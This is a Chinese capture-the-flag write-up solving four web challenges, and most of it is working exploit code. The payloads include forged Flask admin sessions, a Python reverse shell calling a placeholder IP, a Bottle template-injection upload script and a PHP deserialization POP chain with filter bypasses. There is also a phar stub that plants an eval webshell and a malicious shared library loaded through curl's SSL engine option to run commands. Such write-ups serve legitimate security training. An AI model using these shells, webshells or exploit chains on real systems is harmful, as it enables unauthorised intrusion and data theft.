Ekko_note 审计源码 大概思路就是:有一个管理员面板 admin才能访问并且要到2066年以后才可以访问 admin通过session伪造 时间api可以修改
注册账号,登录后伪造admin的session进去
1 python flask_session_cookie_manager3.py encode -s 'your-secret-key-here' -t "{'is_admin': True, 'user_id': 1, 'username': 'admin'}"
在服务器起一个api服务,修改api为服务器的api
1 2 3 4 5 6 7 8 9 10 from flask import Flask, jsonifyapp = Flask(__name__) @app.route('/time' ) def fake_time (): return jsonify({"date" :"2066-08-15 16:14:34" ,"weekday" :"星期五" ,"timestamp" :1755245674 ,"remark" :"任何情况请联系QQ:3295320658 微信服务号:顺成网络" }) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=2333 )
修改api后进入面板
直接执行命令没有回显 试反弹shell
1 python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your_ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
ez_bottle 在upload上传文件
绕过黑名单
1 [ "{" , "}" , "os" , "eval" , "exec" , "sock" , "<" , ">" , "bul" , "class" , "?" , ":" , "bash" , "_" , "globals" , "get" , "open" ]
使用了setattr的python函数 setattr(obj, name, value)
1 2 3 % import bottle\n % setattr (bottle, 'TEMPLATE' + chr (95 ) + 'PATH' , ['/' ])\n % include('flag' )\n
大意就是把Bottle 模板引擎在什么目录下搜索模板文件改为了/根目录 然后include了/flag文件
写脚本上传压缩包,压缩包里面是包含bottle语句的txt文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import ioimport zipfileimport requestsdef make_zip_payload () -> io.BytesIO: txt = "% import bottle\n% setattr(bottle, 'TEMPLATE' + chr(95) + 'PATH', ['/'])\n% include('flag')\n" buf = io.BytesIO() with zipfile.ZipFile(buf, "w" , zipfile.ZIP_DEFLATED) as z: z.writestr("exploit" , txt) buf.seek(0 ) return buf def upload_zip_file (target_url: str ): zbuf = make_zip_payload() files = {"file" : ("exploit.zip" , zbuf, "application/zip" )} print (f"[*] 正在上传恶意ZIP文件到 {target_url} ..." ) try : r = requests.post( target_url, files=files, timeout=20 , headers={"User-Agent" : "Mozilla/5.0" } ) if r.status_code == 200 : print ("[+] 文件上传成功!" ) print ("[*] 服务器响应:" , r.text[:300 ]) else : print (f"[!] 上传失败,状态码: {r.status_code} " ) print ("[!] 错误响应:" , r.text[:300 ]) except Exception as e: print (f"[!] 上传过程中发生错误: {str (e)} " ) if __name__ == "__main__" : TARGET_UPLOAD_URL = "http://challenge.xinshi.fun:40967/upload" upload_zip_file(TARGET_UPLOAD_URL) print ("[*] 上传完成 " )
访问上传的文件,得到flag
Your Uns3r 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php highlight_file (__FILE__ );class User { public $username ; public $value ; public function exec ( ) { $ser = unserialize (serialize (unserialize ($this ->value))); if ($ser != $this ->value && $ser instanceof Access) { include ($ser ->getToken ()); } } public function __destruct ( ) { if ($this ->username == "admin" ) { $this ->exec (); } } } class Access { protected $prefix ; protected $suffix ; public function getToken ( ) { if (!is_string ($this ->prefix) || !is_string ($this ->suffix)) { throw new Exception ("Go to HELL!" ); } $result = $this ->prefix . 'lilctf' . $this ->suffix; if (strpos ($result , 'pearcmd' ) !== false ) { throw new Exception ("Can I have peachcmd?" ); } return $result ; } } $ser = $_POST ["user" ];if (strpos ($ser , 'admin' ) !== false && strpos ($ser , 'Access":' ) !== false ) { exit ("no way!!!!" ); } $user = unserialize ($ser );throw new Exception ("nonono!!!" );
这道题出得很好(赞
1.是抛出错误 使用gc回收机制来绕过 这样就可以触发__destruct__魔术方法绕过抛出错误
2.是admin和Acess的绕过 只要不同时出现就好 Acess是类名 使用大小写绕过
3.$result = $this->prefix . ‘lilctf’ . $this->suffix 绕过这个lilctf使用../来绕过
4.unserialize(serialize(unserialize($this->value))) value赋值为serialize($b)就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class User { public $username ='admin' ; public $value ; } class Access { protected $prefix ="php://filter/convert.base64-encode/resource=/" ; protected $suffix ="/../flag" ; } $a = new User ();$b = new Access ();$a ->value = serialize ($b );$c =array ('a' =>$a ,'b' =>NULL );echo urlencode (serialize ($c ));
生成:
1 a%3 A2%3 A%7 Bs%3 A1%3 A%22 a%22 %3 BO%3 A4%3 A%22 User%22 %3 A2%3 A%7 Bs%3 A8%3 A%22 username%22 %3 Bs%3 A5%3 A%22 admin%22 %3 Bs%3 A5%3 A%22 value%22 %3 Bs%3 A117%3 A%22 O%3 A6%3 A%22 Access%22 %3 A2%3 A%7 Bs%3 A9%3 A%22 %00 %2 A%00 prefix%22 %3 Bs%3 A45%3 A%22 php%3 A%2 F%2 Ffilter%2 Fconvert.base64-encode%2 Fresource%3 D%2 F%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 suffix%22 %3 Bs%3 A8%3 A%22 %2 F..%2 Fflag%22 %3 B%7 D%22 %3 B%7 Ds%3 A1%3 A%22 b%22 %3 BN%3 B%7 D
把最后的
1 2 3 a:2:{s:1:"a" ;O:4:"User" :2:{s:8:"username" ;s:5:"admin" ;s:5:"value" ;s:117:"O:6:" Access":2:{s:9:" *prefix";s:45:" php://filter/convert.base64-encode/resource=/";s:9:" *suffix";s:8:" /../flag";}" ;}s:1:"b" ;N;} 改为 a:2:{s:1:"a" ;O:4:"User" :2:{s:8:"username" ;s:5:"admin" ;s:5:"value" ;s:117:"O:6:" access":2:{s:9:" *prefix";s:45:" php://filter/convert.base64-encode/resource=/";s:9:" *suffix";s:8:" /../flag";}" ;}s:1:"User" ;N;}
urlencode即可
php_jail_is_my_cry 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php if (isset ($_POST ['url' ])) { $url = $_POST ['url' ]; $file_name = basename ($url ); $ch = curl_init ($url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); $data = curl_exec ($ch ); curl_close ($ch ); if ($data ) { file_put_contents ('/tmp/' .$file_name , $data ); echo "文件已下载: <a href='?down=$file_name '>$file_name </a>" ; } else { echo "下载失败。" ; } } if (isset ($_GET ['down' ])){ include '/tmp/' . basename ($_GET ['down' ]); exit ; } if (isset ($_FILES ['file' ])) { $target_dir = "/tmp/" ; $target_file = $target_dir . basename ($_FILES ["file" ]["name" ]); $orig = $_FILES ["file" ]["tmp_name" ]; $ch = curl_init ('file://' . $orig ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true ); $data = curl_exec ($ch ); curl_close ($ch ); if (stripos ($data , '<?' ) === false && stripos ($data , 'php' ) === false && stripos ($data , 'halt' ) === false ) { file_put_contents ($target_file , $data ); } else { echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!" ; $data = null ; } } ?>
简单的php代码 三个点下载文件 包含文件 上传文件
很明显的不准上传一句话php木马 这里有文件包含很容易联想到使用gz打包的pahr文件来绕过 include可以直接解析gz文件 写一句话木马
https://xz.aliyun.com/news/18584
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $phar = new Phar ('12.phar' );$phar ->startBuffering ();$stub = <<<'STUB' <?php file_put_contents("/var/www/html/.php",'<?=eval($_POST[1])?>'); __HALT_COMPILER(); ?> STUB ;$phar ->setStub ($stub );$phar ->addFromString ('test.txt' , 'test' );$phar ->stopBuffering ();?>
生成的phar文件打包成gz
源码phpini或者这里的环境都给了disablefunctions 几乎把所有禁完了
提示
// I hide a trick to bypass open_basedir, I’m sure you can find it.
1 open_basedir/var /www/html:/tmp/var /www/html:/tmp
使用curl来进行命令rce
1 2 3 该curl命令行工具在类 POSIX 系统(Linux、macOS 等)上存在任意代码执行漏洞。该--engine选项允许从共享库(文件)加载 OpenSSL 加密引擎.so。关键在于,该选项接受库文件的绝对路径或相对路径,从而允许用户加载文件系统上的任何共享库。 攻击者可以构造一个包含__attribute__ ((constructor))函数的恶意共享库。该函数会在库加载到进程内存时由动态加载器执行curl,从而实现立即代码执行,甚至在 OpenSSL 尝试将其初始化为引擎之前。 如果攻击者可以影响传递给命令的参数curl,这将导致直接 RCE,这是 Web 应用程序后端、CI/CD 管道和其他自动化脚本中的常见情况。
https://hackerone.com/reports/3293801
通过编译一个.so文件进行读取/realflag文件
1 2 3 4 5 6 #include <stdlib.h> __attribute__((constructor)) static void rce_init (void ) { system ("/readflag > ./flag.txt" ); }
上传so文件成功后回到原来的木马界面
1 2 3 4 1=$ch = curl_init("http://www.azureyinglong.cn" ); curl_setopt($ch , CURLOPT_SSLENGINE , "/tmp/sauy.so" ); $data = curl_exec($ch );curl_close($ch );
访问flag.txt拿到flag
我曾有一份工作